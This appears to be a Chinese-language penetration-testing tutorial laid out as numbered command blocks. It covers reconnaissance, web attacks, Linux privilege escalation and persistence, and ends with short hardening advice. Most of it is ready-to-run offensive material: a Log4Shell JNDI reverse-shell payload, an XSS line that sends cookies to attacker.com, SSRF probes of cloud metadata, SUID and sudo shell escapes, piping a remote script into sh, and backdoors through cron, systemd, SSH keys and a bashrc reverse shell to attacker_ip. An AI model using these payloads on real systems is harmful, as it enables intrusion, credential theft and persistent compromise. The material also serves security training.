1
# WHOIS 查询 — 获取域名注册人、注册商、DNS 服务器等信息
2
whois example.com
3

4
# 查询特定 WHOIS 服务器
5
whois -h whois.verisign-grs.com example.com
6

7
# DNS 记录收集
8
dig example.com ANY        # 查询所有记录类型
9
dig example.com MX +short  # 邮件服务器
10
dig example.com TXT +short # TXT 记录（SPF、DKIM 等）
11
nslookup -type=any example.com
12

13
# DNS 区域传送尝试（配置不当的 DNS 服务器可能泄露全部记录）
14
dig axfr example.com @ns1.example.com

1
# amass — 被动+主动子域名枚举（OSINT 集成）
2
amass enum -passive -d example.com       # 纯被动模式
3
amass enum -brute -d example.com         # 暴力破解模式
4
amass enum -active -d example.com -o results.txt
5

6
# subfinder — 快速被动子域名发现
7
subfinder -d example.com -all -o subdomains.txt
8

9
# 利用证书透明度日志（Certificate Transparency）
10
# 通过 crt.sh 查询 SSL 证书中暴露的子域名
11
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

1
# 常用 Google Dork 语法
2
site:example.com intitle:"admin"           # 查找后台页面
3
site:example.com filetype:pdf              # 查找 PDF 文件
4
site:example.com inurl:login               # 查找登录页面
5
site:example.com intext:"password"         # 页面中包含 password 关键词
6
site:github.com "example.com" password     # GitHub 泄露的密码
7
inurl:/wp-admin/ site:example.com          # WordPress 后台

1
# Shodan — 搜索联网设备
2
# 搜索特定端口和服务
3
shodan search "hostname:example.com"
4
shodan host 1.2.3.4
5

6
# Fofa — 国产网络空间搜索引擎
7
# 搜索语法: title="后台管理" && domain="example.com"

1
# 基础扫描
2
nmap -sV -sC -p- example.com     # 全端口扫描 + 服务版本检测 + 默认脚本
3
nmap -A -T4 example.com           # 综合扫描（OS 检测、版本、脚本、traceroute）
4

5
# SYN 半开扫描（隐蔽扫描，需要 root 权限）
6
sudo nmap -sS -p 22,80,443,3306,8080 example.com
7

8
# UDP 扫描（较慢，但可以发现 DNS、SNMP 等服务）
9
sudo nmap -sU --top-ports 100 example.com
10

11
# 绕过防火墙的扫描技巧
12
nmap -f example.com               # 分片扫描
13
nmap --data-length 32 example.com # 添加随机数据
14
nmap -D RND:10 example.com        # 伪造源地址（decoy scanning）
15

16
# 输出结果
17
nmap -sV -oX scan_results.xml example.com   # XML 格式输出
18
nmap -sV -oA scan_results example.com        # 所有格式输出

1
# 漏洞扫描脚本
2
nmap --script vuln example.com
3

4
# 特定漏洞检测
5
nmap --script http-sql-injection example.com       # SQL 注入检测
6
nmap --script ssl-heartbleed example.com            # Heartbleed 漏洞
7
nmap --script http-brute example.com                # HTTP 暴力破解

1
# gobuster — 快速目录/文件爆破
2
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
3
gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak
4

5
# ffuf — 灵活的模糊测试工具
6
ffuf -w wordlist.txt -u http://example.com/FUZZ
7
ffuf -w users.txt:USER -w pass.txt:PASS -u http://example.com/login -d "user=USER&pass=PASS" -fc 401
8

9
# dirsearch — Python 编写的目录扫描工具
10
dirsearch -u http://example.com -e php,html,js -t 50

1
# 1. 启动 JNDI 注入服务器（攻击者机器）
2
java -jar JNDIExploit.jar -i attacker_ip -l 1389
3

4
# 2. 构造恶意 payload（发送到目标应用）
5
# 在 HTTP 请求头中注入：
6
User-Agent: ${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}
7

8
# 3. 监听反弹 shell
9
nc -lvnp 4444
10

11
# 4. 目标服务器解析日志时触发 JNDI 查询，连接攻击者的 LDAP 服务器
12
# 5. LDAP 返回恶意 Java 类，在目标服务器执行反弹 shell

1
# Hydra — 在线密码爆破工具
2
# SSH 爆破
3
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target_ip -t 4
4

5
# HTTP POST 表单爆破
6
hydra -l admin -P pass.txt target_ip http-post-form "/login:user=^USER^&pass=^PASS^:Login failed"
7

8
# FTP 爆破
9
hydra -l admin -P pass.txt ftp://target_ip
10

11
# Medusa — 并行登录爆破
12
medusa -h target_ip -u admin -P pass.txt -M ssh -t 4

1
# 手动检测 SQL 注入
2
# 1. 单引号测试
3
http://example.com/product?id=1'    # 如果返回 SQL 错误，存在注入点
4

5
# 2. 布尔盲注
6
http://example.com/product?id=1 AND 1=1    # 正常返回
7
http://example.com/product?id=1 AND 1=2    # 异常返回
8

9
# 3. 时间盲注
10
http://example.com/product?id=1 AND SLEEP(5)--    # MySQL
11
http://example.com/product?id=1; WAITFOR DELAY '0:0:5'--    # MSSQL
12

13
# 4. UNION 注入 — 获取数据库信息
14
http://example.com/product?id=1 UNION SELECT 1,2,3--
15
http://example.com/product?id=1 UNION SELECT version(),database(),user()--
16

17
# 5. sqlmap 自动化利用
18
sqlmap -u "http://example.com/product?id=1" --batch --dbs --technique=BEUST

1
# 反射型 XSS 测试 payload
2
<script>alert('XSS')</script>
3
<img src=x onerror=alert('XSS')>
4
<svg onload=alert('XSS')>
5

6
# 存储型 XSS — 在输入框中注入（如评论、用户名）
7
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
8

9
# DOM 型 XSS — 利用 JavaScript DOM 操作
10
http://example.com/page#<img src=x onerror=alert('XSS')>

1
# 探测内网服务
2
http://example.com/fetch?url=http://127.0.0.1:8080
3
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/  # AWS 元数据
4

5
# 利用 file 协议读取本地文件
6
http://example.com/fetch?url=file:///etc/passwd

1
# 系统基本信息
2
uname -a                    # 内核版本
3
cat /etc/*-release          # 发行版信息
4
arch                        # 系统架构
5

6
# 用户和权限信息
7
whoami                      # 当前用户
8
id                          # 用户 ID 和组
9
sudo -l                     # sudo 权限配置
10
cat /etc/passwd             # 用户列表
11
cat /etc/shadow             # 密码哈希（需要 root）
12

13
# 查找 SUID 文件（以 root 权限执行的程序）
14
find / -perm -4000 -type f 2>/dev/null
15
# 常见可利用的 SUID 程序: nmap, vim, find, bash, python, less, more
16

17
# 查找可写文件和目录
18
find / -writable -type d 2>/dev/null
19
find / -name "*.sh" -writable 2>/dev/null
20

21
# 查看计划任务
22
cat /etc/crontab
23
ls -la /etc/cron.*
24
crontab -l

1
# linPEAS — 最全面的 Linux 提权检查脚本
2
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
3

4
# linux-exploit-suggester — 基于内核版本推荐提权漏洞
5
perl linux-exploit-suggester.pl
6

7
# pspy — 无需 root 权限监控进程（可以发现定时任务执行的其他进程）
8
./pspy64

1
# 1. SUID 提权 — 利用 find 命令
2
find / -name "target" -exec /bin/sh \;
3

4
# 2. sudo 配置不当提权
5
# 如果 sudo -l 显示可以无密码执行某些命令
6
sudo vim -c '!sh'              # Vim 逃逸
7
sudo find / -exec /bin/sh \;   # Find 逃逸
8
sudo python3 -c 'import os; os.system("/bin/sh")'
9

10
# 3. 内核漏洞提权（Dirty COW — CVE-2016-5195 为例）
11
# 适用于 Linux 内核 < 4.8.3
12
gcc -pthread dirty.c -o dirty -lcrypt
13
./dirty password
14

15
# 4. Capabilities 提权
16
getcap -r / 2>/dev/null
17
# 如果发现 /usr/bin/python3 = cap_setuid+ep
18
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

1
# 1. SSH 公钥注入
2
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
3
chmod 600 /root/.ssh/authorized_keys
4

5
# 2. Crontab 定时任务
6
(crontab -l; echo "*/5 * * * * /tmp/backdoor") | crontab -
7

8
# 3. 系统服务后门
9
# 创建 systemd 服务
10
cat > /etc/systemd/system/backdoor.service << EOF
11
[Unit]
12
Description=System Service
13

14
[Service]
15
ExecStart=/tmp/backdoor
16
Restart=always
17

18
[Install]
19
WantedBy=multi-user.target
20
EOF
21
systemctl enable backdoor
22

23
# 4. Bash Profile 后门
24
echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &' >> ~/.bashrc

1
# /etc/ssh/sshd_config 安全配置
2
Port 2222                              # 修改默认端口
3
PermitRootLogin no                     # 禁止 root 远程登录
4
PasswordAuthentication no              # 禁用密码认证
5
PubkeyAuthentication yes               # 启用密钥认证
6
MaxAuthTries 3                         # 最大认证尝试次数
7
AllowUsers deploy admin@192.168.1.0/24 # 限制用户和来源 IP
8

9
# 安装 fail2ban 防止暴力破解
10
apt install fail2ban
11
systemctl enable fail2ban
12
# /etc/fail2ban/jail.local
13
# [sshd]
14
# enabled = true
15
# maxretry = 3
16
# bantime = 3600

1
# 查找并修复危险权限
2
find / -perm -777 -type f 2>/dev/null          # 全局可写文件
3
find / -perm -4000 -type f 2>/dev/null         # SUID 文件
4
find / -perm -2000 -type f 2>/dev/null         # SGID 文件
5

6
# 关键文件不可变
7
chattr +i /etc/passwd /etc/shadow
8

9
# 安全挂载选项
10
# /etc/fstab — 为 /tmp 添加 noexec, nosuid
11
/dev/sda2  /tmp  ext4  defaults,noexec,nosuid,nodev  0  0

1
# 安全响应头
2
add_header X-Frame-Options "SAMEORIGIN";
3
add_header X-Content-Type-Options "nosniff";
4
add_header X-XSS-Protection "1; mode=block";
5
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'";
6
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
7

8
# 隐藏版本信息
9
server_tokens off;
10

11
# 禁止访问敏感文件
12
location ~* /\.(git|svn|env|htaccess) {
13
    deny all;
14
    return 404;
15
}
16

17
# 限制上传目录执行权限
18
location /uploads/ {
19
    location ~* \.php$ {
20
        deny all;
21
    }
22
}
23

24
# 速率限制防止暴力破解
25
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
26
location /login {
27
    limit_req zone=login burst=5 nodelay;
28
    proxy_pass http://backend;
29
}

1
# Python — 使用参数化查询防止 SQL 注入
2
import sqlite3
3

4
# 错误方式（存在 SQL 注入）
5
cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")
6

7
# 正确方式（参数化查询）
8
cursor.execute("SELECT * FROM users WHERE id = ?", (user_input,))
9

10
# 输出编码防止 XSS
11
from markupsafe import escape
12
safe_output = escape(user_input)